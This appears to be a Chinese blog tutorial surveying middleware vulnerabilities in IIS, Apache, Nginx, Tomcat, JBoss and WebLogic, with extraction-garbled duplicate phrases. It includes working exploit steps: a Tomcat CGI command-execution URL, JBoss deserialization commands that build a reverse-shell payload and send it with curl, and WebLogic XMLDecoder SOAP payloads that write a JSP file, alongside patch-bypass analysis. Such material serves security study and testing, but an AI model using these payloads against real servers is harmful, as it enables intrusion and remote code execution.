Web中间件常见漏洞总结

Web中间件常见漏洞总结

IIS

IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。
IIS目前只适用于目前只适用于 Windows系统,不适用于其他操作系统。系统,不适用于其他操作系统。
解析漏洞解析漏洞

IIS 6.x

基于文件名

该版本 默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析,原理是 服务器默认不解析; 号及其后面的内容,相当于截断。

基于文件夹名

该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。
另外,IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp,

从网站属性->主目录->配置 可以看出,他们都是调用了asp.dll进行的解析。
修复建议修复建议
由于微软并不认为这是一个漏洞,也没有推出IIS 6.0的补丁,因此漏洞需要自己修复。

IIS 7.x

IIS7.x版本 在Fast-CGI 运行模式下,在任意文件,例:test.jpg后面加上/.php,会将test.jpg 解析为php文件。

Apache

解析漏洞

Apache的解析漏洞依赖于一个特性: Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在 mime.types文件内),则文件内),则
继续向左识别,直到识别到合法后缀才进行解析。继续向左识别,直到识别到合法后缀才进行解析。

如1.php.xxx.sdfw.x2会被识别为1.php

AddHandler导致的解析漏洞

如果运维人员给.php后缀增加了处理器:
AddHandler application/x-httpd-php .php
那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。
利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

Apache HTTPD 换行解析漏洞(换行解析漏洞(CVE-2017-15715))

影响范围:2.4.0~2.4.29版本

此漏洞形成的根本原因,在于$ , 正则表达式中$ 不仅匹配字符串结尾位置,也可以匹配\n 或 \r
在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

Nginx

Nginx配置文件错误导致的解析漏洞

对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。
例:info.jpg后面加上/xxx.php,会将info.jpg 以php解析。

Nginx 空字节任意代码执行漏洞

影响版本:Nginx 0.5* , 0.6* ,0.7 <= 0.7.65 ,0.8 <= 0.8.37

配合图片马,

访问网站的info.jpg ,并抓包,修改为info.jpg…php ,在Hex选修卡中将jpg后面的. ,更改为00 ,即可变为php文件

Tomcat

Tomcat 任意文件写入(任意文件写入(CVE-2017-12615))

环境:Tomcat/8.0.30
漏洞本质是Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件:

image-20230501153030510

增加完配置之后,记得重启Tomcat,效果如下:

image-20230501153052292

当readonly=true时,效果如下:

image-20230501153113596

Tomcat 远程代码执行(远程代码执行(CVE-2019-0232))

影响范围:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
影响系统: Windows

测试环境:
Apache Tomcat v8.5.39
JDK 1.8.0_144
修改配置:
web.xml

<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>

image-20230501153232386

content.xml

image-20230501153254912

在Tomcat\webapps\ROOT\WEB-INF 新建cgi 目录,并创建lxhsec.bat 文件,内容任意。
访问http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir

image-20230501153320965

执行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user

image-20230501153357661

Note:net命令的路径要写全,直接写net user,Tomcat控制台会提示net 不是内部命令,也不是可运行的程序,另 必须使用+号连接,使用空格,%2B 都会执
行失败,控制台报错。

JBoss

JMX Console未授权访问未授权访问

JMX Console默认存在未授权访问,直接点击JBoss主页中的JMX Console链接进入JMX Console页面。

JBoss 5.x/6.x 反序列化漏洞(反序列化漏洞(CVE-2017-12149))

访问 /invoker/readonly
返回500,说明页面存在,此页面存在反序列化漏洞。

image-20230501153903443

利用工具:JavaDeserH2HC,我们选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据:
生成ReverseShellCommonsCollectionsHashMap.class

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

生成ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666(ip是nc所在的ip)

利用:

curl http://192.168.31.205:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20230501154025654

JBoss JMXInvokerServlet 反序列化漏洞反序列化漏洞

访问 /invoker/JMXInvokerServlet

返回如下,说明接口开放,此接口存在反序列化漏洞

image-20230501154111920

这里直接利用CVE-2017-12149生成的ser,发送到/invoker/JMXInvokerServlet接口中。
如下:

image-20230501154138554

JBoss EJBInvokerServlet 反序列化漏洞反序列化漏洞

访问 /invoker/EJBInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞。

image-20230501154224202

这里直接利用CVE-2017-12149生成的ser,发送到/invoker/EJBInvokerServlet接口中。
如下:

image-20230501154256681

WebLogic

XMLDecoder 反序列化漏洞(反序列化漏洞(CVE-2017-10271 & CVE-2017-3506))

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可
执行任意命令。
访问 /wls-wsat/CoordinatorPortType
返回如下页面,则可能存在此漏洞。

image-20230501154358340

漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。
只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri,路径
为:C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
默认受到影响的Uri如下:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

构造 写入文件 数据包发送,如下,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 629
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test777776666666"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

访问 /bea_wls_internal/test2.jsp ,如下:

image-20230501154500507

CVE-2017-3506的补丁加了验证函数,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否
存在object Tag。

private void validate(InputStream is){
	WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
	try {
		SAXParser parser =factory.newSAXParser();
		parser.parse(is, newDefaultHandler() {
			public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
				if(qName.equalsIgnoreCase("object")) {
					throw new IllegalStateException("Invalid context type: object");
				}
			}
		});
	} catch(ParserConfigurationException var5) {
		throw new IllegalStateException("Parser Exception", var5);
	} catch (SAXExceptionvar6) {
		throw new IllegalStateException("Parser Exception", var6);
	} catch (IOExceptionvar7) {
		throw new IllegalStateException("Parser Exception", var7);
	}
}

我们将object换成void就可绕过此补丁,产生了CVE-2017-10271。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
	<soapenv:Header>
	<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
	<java>
		<void class="java.io.PrintWriter">
		<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>
		<void method="println">
		<string>
				<![CDATA[
			<% out.print("test777776666666"); %>
				]]>
			</string>
		</void>
		<void method="close"/>
		</void>
	</java>
	</work:WorkContext>
	</soapenv:Header>
	<soapenv:Body/>
</soapenv:Envelope>

Weblogic wls9_async_response,wls-wsat 反序列化远程代码执行漏洞(反序列化远程代码执行漏洞(CVE-2019-2725))

影响组件:bea_wls9_async_response.war, wls-wsat.war
影响版本:10.3.6.0, 12.1.3.0

bea_wls9_async_response.war访问 /_async/AsyncResponseService返回如下页面,则可能存在此漏洞。

image-20230501154916679

漏洞不仅存在于/_async/AsyncResponseService
只要是在bea_wls9_async_response包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri,路径为:

默认受到影响的Uri如下:

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml

_
默认受到影响的Uri如下:

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps

wls-wsat.war受影响的URI见XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
此漏洞实际上是CVE-2017-10271的又一入口,那么它是怎么绕过CVE-2017-10271的补丁,执行RCE的呢。
先来看一下CVE-2017-10271的补丁代码:

public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException {
			if(qName.equalsIgnoreCase("object")) {
				throw new IllegalStateException("Invalid element qName:object");
			} else if(qName.equalsIgnoreCase("new")) {
				throw new IllegalStateException("Invalid element qName:new");
			} else if(qName.equalsIgnoreCase("method")) {
				throw new IllegalStateException("Invalid element qName:method");
			} else {
			if(qName.equalsIgnoreCase("void")) {
				for(int attClass = 0; attClass < attributes.getLength();++attClass) {
					if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){
						throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass));
					}
				}
			}
			if(qName.equalsIgnoreCase("array")) {
				String var9 =attributes.getValue("class");
				if(var9 != null &&!var9.equalsIgnoreCase("byte")) {
					throw new IllegalStateException("The value of class attribute is notvalid for array element.");
				}

其中CVE-2017-3506的补丁是过滤了object,CVE-2017-10271的补丁是过滤了new,method标签,且void后面只能跟index,array后面可以跟class,但是
必须要是byte类型的。
绕过CVE-2017-10271补丁是因为class标签未被过滤所导致的,这点我们可以从Oracle 发布的CVE-2019-2725补丁看出来,
CVE-2019-2725补丁新增部分内容,将class加入了黑名单,限制了array标签中的byte长度。如下:

else if (qName.equalsIgnoreCase("class")) {
				throw new IllegalStateException("Invalid element qName:class");
}

else {
		if (qName.equalsIgnoreCase("array")) {
			String attClass = attributes.getValue("class");
			if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
				throw new IllegalStateException("The value of class attribute is not valid for array element.");
			}
			String lengthString = attributes.getValue("length");
			if (lengthString != null) {
				try {
					int length = Integer.valueOf(lengthString);
					if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
						throw new IllegalStateException("Exceed array length limitation");
					}
					this.overallarraylength += length;
					if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
						throw new IllegalStateException("Exceed over all array limitation.");
					}
				} catch (NumberFormatException var8) {
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值